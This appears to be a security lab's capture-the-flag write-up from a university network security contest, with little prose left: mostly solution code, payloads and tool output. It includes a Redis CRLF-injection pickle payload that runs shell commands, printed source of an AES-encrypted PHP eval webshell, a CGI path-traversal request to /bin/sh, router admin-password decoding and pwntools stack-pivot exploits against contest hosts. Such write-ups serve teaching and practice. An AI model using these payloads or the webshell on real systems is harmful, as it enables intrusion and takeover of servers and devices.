创安实验室专栏丨高校网络安全管理运维赛Writeup

from flask import Flask,request

from redis import Redis

import hashlib

import pickle

import base64

import urllib

app = Flask(__name__)

redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):

url_key=hashlib.md5(url.encode()).hexdigest()

res=redis.get(url_key)

if res:

return pickle.loads(base64.b64decode(res))

else:

try:

print(url)

info = urllib.request.urlopen(url)

res = info.read()

pickres=pickle.dumps(res)

b64res=base64.b64encode(pickres)

redis.set(url_key,b64res,ex=300)

return res

except urllib.error.URLError as e:

print(e)

@app.route('/')

def hello():

url = request.args.get("url")

return '''

give me your url via GET method like: ?url=127.0.0.1:8080

Here is your result

source code in /source

%s

''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source')

def source():

return

(cos

system

S'mkdir static && cp /flag static/flag'

o.

127.0.0.1:6379?

a=1%20HTTP/1.1%0d%0aSET%20643fe26a334b920e71528259036c170e%20KGNvcwpzeXN0ZW0KUydta2RpciBzdGF0aWMgJiYgY3AgL2ZsYWcgc3RhdGljL2ZsYWcnCm8u%0d%0aaaa:%0a

flag{begin-the-competition}

PS C:UsersAdministratorDownloads> php -r

"var_dump(base64_decode('ZmxhZ3tXZWxjT21lVE99'));"

Command line code:1:

string(15) "flag{WelcOmeTO}"

php

@error_reporting(0);

function Decrypt($data)

{

$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond

return openssl_decrypt(base64_decode($data), "AES-128-ECB",

$key,OPENSSL_PKCS1_PADDING);

}

$post=Decrypt(file_get_contents("php://input"));

@eval($post);

?>

PS C:UsersAdministratorDownloads> D:ToolsMiscbkcrack-1.5.0-win64bkcrack.exe

-C .flag.zip -c secret2.txt -p .secret2.txt

bkcrack 1.5.0 - 2022-07-07

[11:34:40] Z reduction using 37 bytes of known plaintext

100.0 % (37 / 37)

[11:34:41] Attack on 207115 Z values at index 6

Keys: e0c271a4 cbd76d08 8d707128

10.0 % (20812 / 207115)

[11:34:59] Keys

e0c271a4 cbd76d08 8d707128

PS C:UsersAdministratorDownloads> D:ToolsMiscbkcrack-1.5.0-win64bkcrack.exe

-C .flag.zip -c "secret1.txt" -k e0c271a4 cbd76d08 8d707128 -d secret1.txt

bkcrack 1.5.0 - 2022-07-07

[11:37:23] Writing deciphered data secret1.txt (maybe compressed)

Wrote deciphered data.

PS C:UsersAdministratorDownloads> type .secret1.txt

flag{70854278-ea0c-462e-bc18-468c7a04a505}

'''

a program to decode FiberHome HG221GS FiberCat telecomadmin password

wget http://192.168.1.1/cgi-bin/baseinfoSet.cgi

"baseinfoSet_TELECOMACCOUNT": "telecomadmin",

"baseinfoSet_TELECOMPASSWORD":

"106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&",

"baseinfoSet_USERACCOUNT": "useradmin",

"baseinfoSet_USERPASSWORD":

"106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&"

设备类型 EPON

生产厂家 FiberHome

设备型号: HG221GS

硬件版本号: HS.V2.0

软件版本号: E60D1.00MA000

'''

code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1] #

"baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"

list=map(int,code.split('&'))

result=[]

for i in list:

if i > 57:

i-=4

result.append(chr(i))

print (''.join(result)) # flag{ad1985868133e8cf1828cb84adbe5a5b}

puts("your token:");

fflush(stdout);

fgets(buf, sizeof(buf), stdin);

if (cmpstr(token, buf)) {

puts("wrong token!");

return 1;

}

zip(buf);

puts("your flag:");

fflush(stdout);

fgets(buf, sizeof(buf), stdin);

if (cmpstr("flag{", buf)) {

puts("wrong flag!");

return 1;

}

unzip(buf);

FILE *f = fopen("flag.txt", "r");

if (!f) {

puts("flag.txt not found");

return 1;

}

from pwn import *

#context(arch = 'amd64', os = 'linux', log_level = 'info')

addr = 'prob03.contest.pku.edu.cn'

port = 10003

p = 0

sl = lambda arg : p.sendline(arg)

sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)

sd = lambda arg : p.send(arg)

ru = lambda arg : p.recvuntil(arg)

rl = lambda : p.recvline()

sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)

inv = lambda : p.interactive()

token =

b'519:MEQCIFdbmgznDT0bNpNg7Xy11l_6M1iDwK2DuVDnQooFKXDRAiB7SSDgBNqzhVjd5qmhxkrYWCwa9i0JyY2uX7-mTcaPcg=='

p = remote(addr, port)

sla(b'token:', token)

sla(b'token:n', token)

payload = b'flag{' + b'x7f' * 5 + token

sla(b'your flag:', payload)

inv()

from urllib.parse import quote

import requests

import urllib3

payload = "echo;cat /flag"

postdata = """

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Length: {}

Connection: close

{}

""".format(len(payload), payload)

mydata = {"port":"80", "data":postdata.replace('n', 'rn')}

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

resp = requests.post(url="https://prob01-ooe5gv6v.contest.pku.edu.cn/nc",

data=mydata, verify=False)

print(resp.text)

__int64 __fastcall main(int a1, char **a2, char **a3)

{

unsigned __int64 length; // rax

char *s1; // [rsp+8h] [rbp-38h]

char input[8]; // [rsp+10h] [rbp-30h] BYREF

__int64 v7; // [rsp+18h] [rbp-28h]

__int64 v8; // [rsp+20h] [rbp-20h]

int v9; // [rsp+28h] [rbp-18h]

__int16 v10; // [rsp+2Ch] [rbp-14h]

unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);

puts("Enter your flag: ");

*(_QWORD *)input = 0LL;

v7 = 0LL;

v8 = 0LL;

v9 = 0;

v10 = 0;

__isoc99_scanf("%23s", input);

length = strlen(input);

s1 = Base64((__int64)input, length); //里面就是常规base64，换了个表

if ( !strcmp(s1, s2) )

printf("Congratulations! Here is your flag:n%sn", input);

else

puts("Error");

return 1LL;

}

import base64

b1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

b2 = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

enc = 'AncsA6gXMSMoMqIuNCMuxaYuAGIavC9=='

print(base64.b64decode(enc.translate(str.maketrans(b2, b1))))

#flag{B4se64_1s_s0_e4sy}

v5 = 0;

printf("Part 1: ");

__isoc99_scanf("%u", &v5);

if ( sub_561F0BB06229(v5, 0xADB1D018) ) // 0xe3c6235c

goto LABEL_7;

v6 = 0;

printf("Part 2: ");

__isoc99_scanf("%u", &v6);

if ( sub_561F0BB06257(v6) ) // 0x5d9434d

goto LABEL_7;

v7 = 0;

printf("Part 3: ");

__isoc99_scanf("%u", &v7);

if ( sub_561F0BB062A4(v7) ) // 0x4b1edf3

goto LABEL_7;

v8 = 0;

printf("Part 4: ");

__isoc99_scanf("%u", &v8);

if ( sub_561F0BB06346(v8) ) // 0xef6f4083

goto LABEL_7;

memset(s, 0, sizeof(s));

sprintf(v12, "flag{%08x-%08x-%08x-%08x}", v5, v6, v7, v8);// flag{e3c6235c-05d9434d-04b1edf3-04034083}

import z3

a1 = z3.BitVec('a1', 32)

s= z3.Solver()

#第一个自己加 --> 0xe3c6235c

# s.add((a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == -1876131848)

# s.add(4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))

# + -3 * (~a1 | 0xA8453437)

# + 3 * ~(a1 | 0xA8453437)

# - (-10 * (a1 & 0xA8453437)

# + (a1 ^ 0xA8453437)) == 551387557)

s.add((11 * ~(a1 ^ 0xE33B67BD)

+ 4 * ~(~a1 | 0xE33B67BD)

- (6 * (a1 & 0xE33B67BD)

+ 12 * ~(a1 | 0xE33B67BD))

+ 3 * (a1 & 0xD2C7FC0C)

+ -5 * a1

- 2 * ~(a1 | 0xD2C7FC0C)

+ ~(a1 | 0x2D3803F3)

+ 4 * (a1 & 0x2D3803F3)

- -2 * (a1 | 0x2D3803F3) ) == 0xCE1066DC)

s.add(a1 < 0x10000000)

while s.check() == z3.sat:

condition = []

m = s.model()

p = m[a1]

condition.append(a1 != int("%s" % (m[a1])))

print(hex(int(str(p))))

s.add(z3.Or(condition))

#最后一个多解

"""

0xaf6f4083

0xef834083

0xef6f4083

0x4034083 <---正确的那个

0xaf834083

0x84034083

0xc4034083

0xb4034083

0xf4034083

"""

#flag就是这些拼接起来

#flag{e3c6235c-05d9434d-04b1edf3-04034083}

__int64 login()

{

int v0; // ebx

char buf[32]; // [rsp+0h] [rbp-50h] BYREF

char s1[40]; // [rsp+20h] [rbp-30h] BYREF

printf("Enter your username: ");

read(0, buf, 0x40uLL);

printf("Enter the password: ");

read(0, s1, 0x40uLL); //溢出0x10，刚好栈迁

v0 = strcmp(buf, "root");

return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");

}

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

path = "./pwn"

addr = 'prob07.contest.pku.edu.cn'

port = 10007

p = 0

elf = ELF(path)

libc = ELF("./libc.so.6").libc

def g(addr=0):

if addr == 0:

gdb.attach(p)

else:

gdb.attach(p, 'b *{}'.format(addr))

raw_input()

sl = lambda arg : p.sendline(arg)

sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)

sd = lambda arg : p.send(arg)

ru = lambda arg : p.recvuntil(arg)

rl = lambda : p.recvline()

sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)

inv = lambda : p.interactive()

def run(sign=1):

global path, p

if sign == 1:

p = remote(addr, port)

else:

p = process(path)

bss = 0x404000 + 0x800

system = 0x401050

ret = 0x000000000040115d + 1

leave_ret = 0x000000000040121d

sla(b'token:',

b'519:MEQCIFdbmgznDT0bNpNg7Xy11l_6M1iDwK2DuVDnQooFKXDRAiB7SSDgBNqzhVjd5qmhxkrYWCwa

9i0JyY2uX7-mTcaPcg==')

sa(b'Enter your username: ', b'root')

fly = b'/bin/shx00'

fly = fly.ljust(0x30, b'x00') + p64(bss) + p64(0x4011d3)

sa(b'Enter the password: ', fly)

pay1 = b'/bin/shx00' + p64(ret) * 3 + p64(system)

pay1 = pay1.ljust(0x30, b'x00') + p64(bss - 0x30) + p64(leave_ret)

sd(pay1)

inv()

if __name__ == "__main__":

run()

E·N·D

创信华通创安实验室成立于2021年9月，是成都创信华通信息技术有限公司旗下的技术研究团队，主要研究红蓝对抗、重大安全保障、应急响应等方向。

实验室秉承公司的发展理念，致力于打造国内一流的网络安全团队，成立至今，已多次完成了公安举办的重要网络安全保障和攻防演习活动，并积极参加各类网络安全竞赛，屡获殊荣。